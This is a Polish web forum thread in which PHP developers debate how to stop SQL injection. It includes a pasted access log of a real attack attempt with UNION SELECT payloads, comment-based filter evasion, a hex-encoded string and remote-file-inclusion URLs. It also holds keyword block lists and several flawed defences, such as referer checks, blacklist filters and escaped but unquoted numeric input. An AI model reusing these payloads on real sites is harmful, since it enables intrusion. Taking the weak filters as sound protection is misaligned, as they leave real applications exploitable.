zastosuj http://pl2.php.net/manual/pl/function.array-walk.php
i napisz sobie funckcje escapujaca zmienne

hmmm po co to wszystko? Dlaczego nie wystarczy zabawa z refererami...?



if (!$_SERVER['HTTP_REFERER']) die(''); // Nie wpisujemy niczego do paska adresów... :-))

No i oczywiście dodając funkcję sprawdzającą wszystkie dozwolone referery ..... no i ewentualnie (dla paranoików) żeby nie zawierały niczego poza dozwolonymi zmiennymi.....

To chyba jest pewna metoda? Czy nie?

albo.... he he zainstalować i poprawnie skonfigurować mod security :-)) prościej i pewniej! Bardzo skuteczna ochrona przed SQL Injection !

1. niektore firewalle wycinaja refa
2. kryska z gazowni doda na swoim blogu linka do Ciebie, ów link nie bedzie wsrod Twoich dozwolonych referow i ciach wszyscy nowi userzy nie maja dostepu

Masz racje! ALE JESTEM GŁUPI! Ostatnio piszę same aplikacje gdzie ważny jest dostęp tylko ze specyficznych hostów i wszystko mi się pomieszało bo pracuję po 16 godzin dziennie :-))

Ale z tego wszystkiego chyba najbardziej niebezpieczne są łańcuchy zawierające wyrazy "UNION SELECT"... więc wystarczy odciąć takie wyrazy jak UNION, USER, PASSWORD, dokładnie tak jak to robi mod security 2 dla Apache (można przecież nieco podejrzeć jego reguły w ustawieniach i według nich napisać kod php).... a najlepiej to chyba odciać z referera wszystkie zastrzeżone wyrazy SQL....bo raczej nie bądą tam nam potrzebe :-)

jasne, napiszesz odpowiedz na jakiegos posta (przez post) na jakims forum strzezonym przed wyrazami SQL.

"Oh! you can use UNION statement o merge the result! I'll show ya on my www, but wait... I forgot my PASSWORD to account... fuck"

po usunieciu tych wyrazow wyjdzie burdel w poście

No już pisałem że jestem GŁUPI :-)

Bierzmy pod lupę cały kontekst np. "You can use UNION SELECT..." to nie to samo co "SELECT price FROM Items UNION SELECT PASSWORD FROM Users" :-) czy username%2b%27%20%27%2bpassword%20from%20users tymbardziej, że wiemy, że Items to nasza tabela i jest częścią zapytania generowanego przez nasz skrypt :-) Może jakoś porównywać zapytania z dopuszczalnymi wzorcami choć może ich czasami być sporo :-) Na pierwszym miejscu za pomocą ereg_replace wywaliłbym wszystkie podejrzane znaki z $_POST i $_GET a potem pozostaje kwestia sprawdzenia czy zapytanie pasuje do dopuszczalnych wzorców.... tak jak to robi mod security 2 ale to już kwestia napisania odpowiedniego algorytmu :-)

nawet nie korzystajac z union selecta mozna przeprowadzic skuteczny SQLi :-)

To ja bym prosił o jakiś przykład - bo przy mysql, gdzie nie można np. przepchnąć drugiego polecenia po ";" union to jedyny sposób jaki znam na wyciągnięcie czegoś z bazy - przynajmniej kiedy ktoś dał addslashes() myśląc, że to wystarczy =)

Sprawa chociażby z logowaniem, gdzie można zapytanie przedwcześnie zakończyć i to wystarczy.

I zostańmy przy tym


Jak to będzie np. forum o programowaniu będzie mnostwo wymienionych przez Ciebie składni zapytania, a ktoś gdzieś indziej może mieć taką samą nazwę np. tabeli i teraz co? Bedziesz pisał 200 linijek wzorców jakie mogą wystąpić przy wlamaniu i do tego nie będą one zawsze skuteczne? To jest !$sens

No to jak już pisałem, na pierwszym miejscu należałoby oczyścić łańcuchy z niebezpiecznych znaków, za pomocą np. ereg_replace, get_magic_quotes_gpc, mysql_escape_string. To napewno wyeliminuje mozliwość dodania czegokolwiek do zapytania przez włamywacza... a tak na marginesie to polecam mod_sec2 pod apacha :-)

jest duzo roznych sposobow, zaczynajac od komenarzy konczac na 1=1, wsio zalezy od sposoby napisania app btw addslashes nie sluzy do zabezpieczania przed SQLi

W PHP6 Twój skrypt nie zadziała.


Ta funkcja może Ci rozwalić znaki przy korzystaniu z wielobajtowych kodowań:



nigdy, zawsze, na pewno, a potem okazuje się, że ktoś coś przeoczył i akcja "filmu" dzieje się jak na obrazku "windows 98 with firewall".

hmmm... a słyszeliśta o czymś takim jak procedury składowane ?
podaje sie do nich parametry, ktore potem siedza w zmiennych, a te z kolei nie są analizowane pod kątem wykonania przez serwer sql.
serwer ma w gdzieś co tam siedzi aby sie zgadzało z typem danych i nie ma takiej opcji zeby zmienna sie wykonała chyba ze zrobisz coś w stylu

[SQL] pobierz, plaintext 
exec @zmienna
[SQL] pobierz, plaintext 

co jest kiepskim pomysłem chyba ze sie robi jeszcze gdzieś w prodecdurze dynamiczny sql i wtedy przy konkatenacji znaków trzeba uwazac ale wystarczy wsadzić zmienna w

[SQL] pobierz, plaintext 
quotename(@zmienna)
[SQL] pobierz, plaintext 

i gotowe

mozna tez ustawić wartosci domyslne i uzywac tranzakcji itd. a obsługe błędów z sql chyba kazdy potrafi zrobic

problem sql injection znika... prawie ale dalej to trzeba sie nieźle napocić zeby to obejść, ale jak to juz nie wiem

generalnie to nie wiem czy mysql posiada te wszystkie rzeczy, ale raczej tak bo procedury sa, ale w kazdym razie MS SQL 2005 i wyzej to ma
takie rzeczy stosuje się w biznesowych rozwiazaniach produkcyjnych

PS. podałem kod z mssql ale jak mniemam bardzo podobnie jak nie tak samo jest w mysql

Owszem - są w MySQL procedury, ale problem można rozwiązać o wiele prościej - przez zmienne związane:

mysqli:
http://pl.php.net/manual/en/mysqli.prepare.php

PDO:
http://pl.php.net/manual/en/pdo.prepare.php

hmmm.... ten wątek ciągnie się już od bardzo dawna....
zawsze sądziłem że wystarczy zdjąć możliwość wpisywania czegokolwiek do paska url poprzez pracę nad refererem oraz zastosować mysql_real_escape_string na zmiennych przekazywanych przez $_POST oraz $_GET... ewentualnie odciąć nieporządane znaki które mogłyby w jakiś sposób przedostać się...

Czy ktoś kto stwierdzi, że jest to niewystarczające, mógłby podać konkretny przykład MySql Injection w którym moja skromna metoda nie zapewni ochrony? Bardzo proszę o konkretne przykłady bo zaczynam się martwić, że rzeczywiście to nie wystarczy. Proszę nie odsyłajcie mnie to lektury czegokolwiek tylko przytoczcie konkrety....

mysql_real_escape_string() w zupełności wystarczy, problem SQLi polega na tym, ze niektórzy zapominają go wogóle dać, a niektórzy na przykład zapominają go dać w przykładowej sytuacji: ktoś sobie zbiera statystyki i zapisuje do bazy $_SERVER['HTTP_USER_AGENT']; $_SERVER wyglada inaczej niz $_GET czy $_POST dlatego ktos niedoswiadczony moglby pominac prze przypadek zabezpieczenei go

hmm...

czy sądzicie że poniższy fragment kodu jest bezpieczny?

[PHP] pobierz, plaintext 
<?php
// Wyplata prowizji 
if (isset($_GET[wyplataprov])&&$_GET[wyplataprov]!='') {
 $wyplataprov=mysql_real_escape_string($_GET[wyplataprov]); 
 mysql_query( "update pozycje set data_wyplaty_prowizji='".date('Y-m-d')."' where id={$wyplataprov} limit 1;") or diee_close(); }
?>
[PHP] pobierz, plaintext 

*diee_close to taka moja funkcja, która niszczy wszelkie dane sesyjne no i zamyka połączenie z MySql wyświetlając ładny komunikat o błędach :-)

bo już sam nie wiem.... ale wydaje mi się, że tutaj raczej żadne UNION select czy nic za znakami ;' nie powinno przedostać się do MySqla.... i nie czuję potrzeby stosowania stripslashes, trim i innych podobnych funkcji.

no ale żeby nikogo nie korciło wpisywanie bzdur do paska url to często stosuję to:

[PHP] pobierz, plaintext 
<?php
if (!$_SERVER['HTTP_REFERER']) diee_close();
?>
[PHP] pobierz, plaintext 

Przy aplikacjach, które muszą być jeszcze bezpieczniejsze jeszcze bardziej ograniczam referery ale to już inna kwestia... chodzi mi o takie rzeczy, które chodzą tylko na prywatnych LANAch.....

Pierwsze zabezpieczenie dobre, jeśli jednak jest to dana liczbowa to wystarczy stosowac rzutowanie typow, co do tej drugiej metody jest ona bez sensu....

HTTP_REFERER - to "wytwor" przegladarki, gdzie przy pomocy odpowiednich "dodatkow" mozna tam wpisac cokolwiek. czesto w logach mam jako Referrer zwykly spam i reklamy,.. ludzka wyobraznia naprawde nie zna granic

:-) No to jasne, że można :-) ale chodzi mi o zabezpieczenie przed wpisywaniem przez 'szarego' użytkownika eksperymantalnych wartości w pasku url :-)

np. jeżeli jesteśmy na stronce https://sklep.jakistamsklep.pl/lista_1.php?...&toitamto=2

to już nie będzie można sobie wpisać wartosci wyswietl i toitamto ręcznie po zastosowaniu tego o czym mowa :-)





A czy ktoś się orientuje czy w zapobieganiu MySql Injection ma jakieś znaczenie to, czy treść zapytania MySql jest zakończona w php średnikiem ?

czyli

[PHP] pobierz, plaintext 
<?php
$wynik=mysql_query( "select name from users;" );
?>
[PHP] pobierz, plaintext 

zamiast

[PHP] pobierz, plaintext 
<?php
$wynik=mysql_query( "select name from users" );
?>
[PHP] pobierz, plaintext 

?

a od kiedy zapytanie w mysql_query() konczy sie srednikiem?

zapytania MySql kończy się średnikiem :-) a w mysql_query teoretycznie też można więc ciekawi mnie czy ten średnik w mysql_query mógłby np. czemuś zapobiec (np. dołączeniu UNION SELECT) czy raczej nie :-) Zwyczjnie nie wiem to pytam :-)

";" oznacza ze dane zapytanie zostalo zakonczone, w przypadku "zwyklych" selektow, insertow etc nie ma znaczenia czy dasz ; czy nie

co do uzycia ";" jako obranie przed union select to sprawa jest jasna wszystko co wstrzykujesz leci przed ; tak wiec nic on nie da

no racja... ja jakoś lubię te średniki tam wstawiać ale to chyba zboczenie od klienta mysql.... :-|

A czy ktoś może wie czy jest możliwy atak MySql Injection na zmienne przekazywane przez $_POST[] poprzez listy wyboru typu <SELECT>, w których są ustawione sztywne wartości. Czy da się jakoś manewrować tymi zmiennymi, tak żeby udało się tam coś wstrzyknąć? Chodzi mi o to czy też trzeba zabezpieczać się w przypadku zastosowania list wyboru typy <SELECT> ze sztywnymi wartościami.
Np. <option selected>1: Wybór1</option>. W takim przypadku odcinam sobie to co przed znakiem : czyli 1. Czy ktoś byłby w stanie coś tam podpiąć żeby i to trafiło do MySql?

trzeba, kod HTML może być dowolnie zmodyfikowany, odpal sobie FireBug`a ( wtyczka do FireFoxa) i popatrz sobie jak latwo mozna zmanipulowac kod HTML

hmm dzięki! to dobrze wiedzieć!

Te wartości, które masz stałe, np. tak jak w przypadku tej jedynki najłatwiej obsłużyć przez switch'a - nie ma możliwości innych wartości, bo PHP to wybije na default'ową wartość Oczywiście wada jest taka, że jest to bezpośrednio w kodzie, co zmniejsza elastyczność, ale coś za coś mówią

Nie wiem jak wam, ale jak przepuściłem przez mój system login wyszło:



I myślę że to dobry sposób, jezei doda się wszystkie komendy sql

[PHP] pobierz, plaintext 
<?php
$niebezpiecznyciag = "', haslo='nowe_haslo' WHERE id = 1 ALTER DATBASE";
 
//KROK 1
$trochebezpiecznyciag = addslashes($niebezpiecznyciag);
echo $trochebezpiecznyciag.'<br>';
 
//KROK 2
$zle = array('WHERE', 'LIKE', 'INSERT', 'DELETE', 'FROM', 'ALTER');
if(strstr($trochebezpiecznyciag, 'WHERE') || strstr($ciag, 'LIKE') || strstr($ciag, 'INSERT') || strstr($ciag, 'DELETE') || strstr($ciag, 'FROM') || strstr($ciag, 'ALTER')){
    $bezpiecznyciag = str_replace($zle, '', $trochebezpiecznyciag);
    //jezeli wykryta proba wlamania caly ciag jest podejrzany 
    $bardzobezpiecznyciag = sha1($bezpiecznyciag);
    echo $bezpiecznyciag.'<br>';
    echo $bardzobezpiecznyciag;
  
}
?>
[PHP] pobierz, plaintext 

Jeżeli zostanie wykryta jakakolwiek proba wlamania sie to konserwujemy caly ciag. Mozna tez uzyc czego innego i potem to odmieszać i sprawdzic co uzyszkodnicy chieli nam zrobic.

I mam pytanie czy przy if, nie można jakos inaczej porownac? if strstr(ciag, tablica)

A po co tak wydziwiać? Jeśli stringa trzymasz w cudzysłowach/apostrofach to MySQL nawet nie spojrzy na żadne słowo kluczowe.

in_array" title="Zobacz w manualu PHP" target="_manual

@Mephistofeles, jak ktos tam kilka stron wcześniej powiedział: Trzeba przygotować się na najgorsze.

z in array nie dziala

[PHP] pobierz, plaintext 
<?php
if(in_array($trochebezpiecznyciag, $zlo))
?>
[PHP] pobierz, plaintext 

to nie znajduje ciagu where i warunek nie spełniony...

To najlepiej siedzieć przy kompie i każde żądanie użytkownika przeglądać osobiście.

Przeczytaj cały ten wątek, od początku, dopiero potem zadawaj pytania.

@thomson89 kiedys na swoim rozowym blogasku pisalem, ze w wiekszosci przypadkow pisanie wlasnego systemu filtracji nie ma sensu, bo zawsze cos sie spieprzy ;-) co prawda nie czytalem dokladnie Twojego kodu, ale smiem twierdzic ze "SELECT * FROM tab;" potraktuje jako probe SQLi, a co z "SELECT * FR/**/OM tab;" ?

przy okazji mozesz rzucic okiem na http://www.beldzio.com/zabezpieczenie-mlek...-miodem-plynace

Jakie sa mozliwości włamania na mojej stronie?
Nie mam zadnego formularza rejestracji, uzytkownik moze jedynie przegladac swoj profil bez edycji danych. Jest to strona z przedmiotu logistyka gdzie umieszczone sa testy sprawdzajaca wiedze z tej problematyki. W polach do logowania uzytkownik moze podawac tylko liczy i litery zadnych kropek itp. Uzywam md5 do hashowania hasel. W kazdej stronie sa wstawione warunki na temat czy osoba ma prawo zagladania do danej strony. Jedyne miejsce gdzie uzytkownik moze cos wspisac to formularz kontaktowy do wysylania maili. Gdy jestemy zalogowani ustawiana jest zmienna $_SESSION['login'] a gdy admin to $_SESSION['admin']

nie widzac kodu zbyt wiele nie da sie powiedziec jesli filtrujesz wszystko co nalezy i jak nalezy powinno byc ok

pamietaj, że istnieje zatruwanie sesji, więc nie opieraj się tylko i wyłącznei na istnieniu danej zmiennej sesyjnej, możesz sprawdzić ip itp.

A czy najlepszym zabezpieczeniem nie byłoby sprawdzenie czy ciąg zawiera znak " ; "

Tak? To ja wpiszę login:




Przeczytaj, co do tej pory się naprodukowaliśmy, bo zaczyna wątek kołować.

Mam pytanie, przepraszam, jeśli w złym wątku, ale wydaje mi się, że na temat.
Ostatnio na moją stronę próbowano dokonać ataku tego typu (sądzę, że się nie powiodło). Nie rozumiem, co ten ktoś/coś próbował zrobić. Gdyby ktoś mógł mi to wytłumaczyć, to może byłoby to z pożytkiem dla innych (ilustracja do tematu)?
Wyglądało to tak (dane mam ze sprytnego skryptu rejestrującego wejścia na stronę - dotyczy więc GET)
Najpierw ktoś w adresie próbował w jedną ze zmiennych wstawić adres (nie będę mu robił reklamy, więc wyiksowałem)
moja_strona.pl?art=newsy&k=http://www.xxxxxxxxx.com/layout/oxiqade/jokihi/
Potem próbował tak
moja_strona.pl?art=newsy&k=3/**/union/**/select/
**/0x6A7573745F615F746573745F315F305F305F736C6173685F315F3C3F706870206563686F286D64
528226A7573745F615F746573742229293B6563686F2840756E6C696E6B28222F6A6174657374362
7068702
Potem jeszcze kilkanaście takich prób, z tym, że przed tym dziwnym ciągiem dodawał coraz więcej null,
**/union/**/select/**/null,
...
/**/union/**/select/**/null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,
ull,null,null,null,null,null,null,null,null,null,
Potem zmienił taktykę, i dodawał nawias
?art=newsy&k=3) union select 0x6A7573745F615F746573745F315F305F315F6461736 bleble
potem trochę pochodził po stronie,
spróbował jeszcze z linkiem
?p=http://www.xxxxxxxxxxx.kz/templates_c/omoj/suju/
i sobie poszedł. Całośc trwała 3 minuty.
Czy to było niebezpieczne?
Mam nadzieję, że się zbytnio nie ośmieszam tym pytaniem.

Jeśli nie filtrujesz danych wejściowych, to jest niebezpieczne.

Jeśli filtrujesz, nie przejmuj się; chyba każdą stronę skanują boty poszukujące dziur. ;]

Co sądzicie o tym: http://hacking.pl/5845
Czy coś takiego wystarczy?

A chociaż przeczytałeś ten wątek od początku...?

ostatnich kilka dni przesiedziałem na szukaniu dobrego i skutecznego sposobu zabezpieczenia się przed SQL injection, jednak nic na prawdę konkretnego nie znalazłem;/
pewnie ameryki nie odkryłem, do optymalnych sposobów to nie należy, ale po połączeniu pomysłów z kilku stron oraz fragmentów kodów z tego forum powstało coś takiego:

[PHP] pobierz, plaintext 
<?php
function filtr_sprawdzenie($text)
{
    $filtr_sprawdzenie= filtr($text);
    return substr_count($filtr_sprawdzenie, '1');
}
function filtr($text)
{
    $text=strtolower($text);
    
    
    $ciag_sprawdzenie = substr_count($text, 'unique').
    substr_count($text, '*/').
    substr_count($text, '/*').
    substr_count($text, '//').
    substr_count($text, '#').
    substr_count($text, '<!--').
    substr_count($text, 'char').
    substr_count($text, 'BETWEEN');
 
    return $ciag_sprawdzenie;
    
}
 
 
 
function strip_tags_content($text, $tags = '', $invert = FALSE) { 
preg_match_all('/<(.+?)[s]*/?[s]*>/si', trim($tags), $tags);
  $tags = array_unique($tags[1]);
  if(is_array($tags) AND count($tags)> 0) {
    if($invert == FALSE) {
      return preg_replace('@<(?!(?:'. implode('|', $tags) .')b)(w+)b.*?>.*?</1>@si', '', $text);
    }
    else {
      return preg_replace('@<('. implode('|', $tags) .')b.*?>.*?</1>@si', '', $text);
    }
  }
  elseif($invert == FALSE) {
    return preg_replace('@<(w+)b.*?>.*?</1>@si', '', $text);
  }
  return $text;
}
 
function dlugosc_ciagu($text, $max)
{
    if(strlen($text)<$max)
    {
        return $text;
    }
    else
    return'error';
}
 
$text=$_POST['jakis_tekst'];
$user_id=1;
$max=50;
if(dlugosc_ciagu($text, $max)!='error')
{
    $ile_podejrzanych_znakow = filtr_sprawdzenie($text);//sprawdza czy nie zostało użyte słowo unique itp. jeśli bedzie 1 albo wiecej to ktos chce sie wlamac, jesli 0 to nie:)
    if($ile_podejrzanych_znakow>0)
    {
        echo 'Próba włamania, Twoje IP zostało zbanowane, a admin poinformowany drogą mailową';//dalej kod wysyłający maila/smsa do admina, banujący dane IP w systemie
    }
    else
    {
        $text = strip_tags_content(htmlspecialchars(strip_tags(html_entity_decode(substr($text,0,550)))));
        $zapytanie = "INSERT INTO notatki (`id`, `user_id`, `tresc`) VALUES ('', '$user_id', '$text')";
        $dodaj_komentarz = mysql_query($zapytanie);
    }
}
else
print 'Wpis jest za długi';
?>
[PHP] pobierz, plaintext 

osobiście widzę w tym jeden plus, bo po pierwszej próbie włamania dany użytkownik/bot jest banowany, komunikat o tym jest wysyłany do mnie, a w razie gdyby zaszła pomyłka mogę zdjąć bana z danego użytkownika. Cała strona którą teraz piszę jest dostępna dopiero po zalogowaniu więc goście nie będą mogli nic nabroić(teoretycznie).

geniuszem nie jestem jeśli chodzi o php, dopiero zaczynam w tym zabawę, ale pytanie:
czy ten kod jest dość bezpieczny? ciężko będzie to obejść?
Pozdrawiam Fantome:)

A chociaż przeczytałeś cały ten wątek...?

żeby tylko ten... ze 2 dni temu to czytałem i postanowiłem szukać dalej... jest sporo pomysłów i rozwiązań w tym temacie, ale nikt nie potwierdził, że któreś z podanych zabezpiecza stronę w 100%...

A wiesz o tym, że na nic nie ma 100% zabezpieczenia?

zdaję sobie z tego sprawę jednak staram się wyeliminować jak najwięcej dziur w tym co piszę
pozdrawiam Fantome

Jeśli wprowadzisz to, o czym mowa w tym wątku, nie powinno być problemu.

Zresztą, od tego są beta-testy, aby wyeliminować błędy. [;

Fantome nie banuj po IP - w ten sposób podczas szukania czegoś w google odkryłem już dwa fora internetowe, na których jestem zbanowany po IP a w życiu się tam nie rejestrowałem :/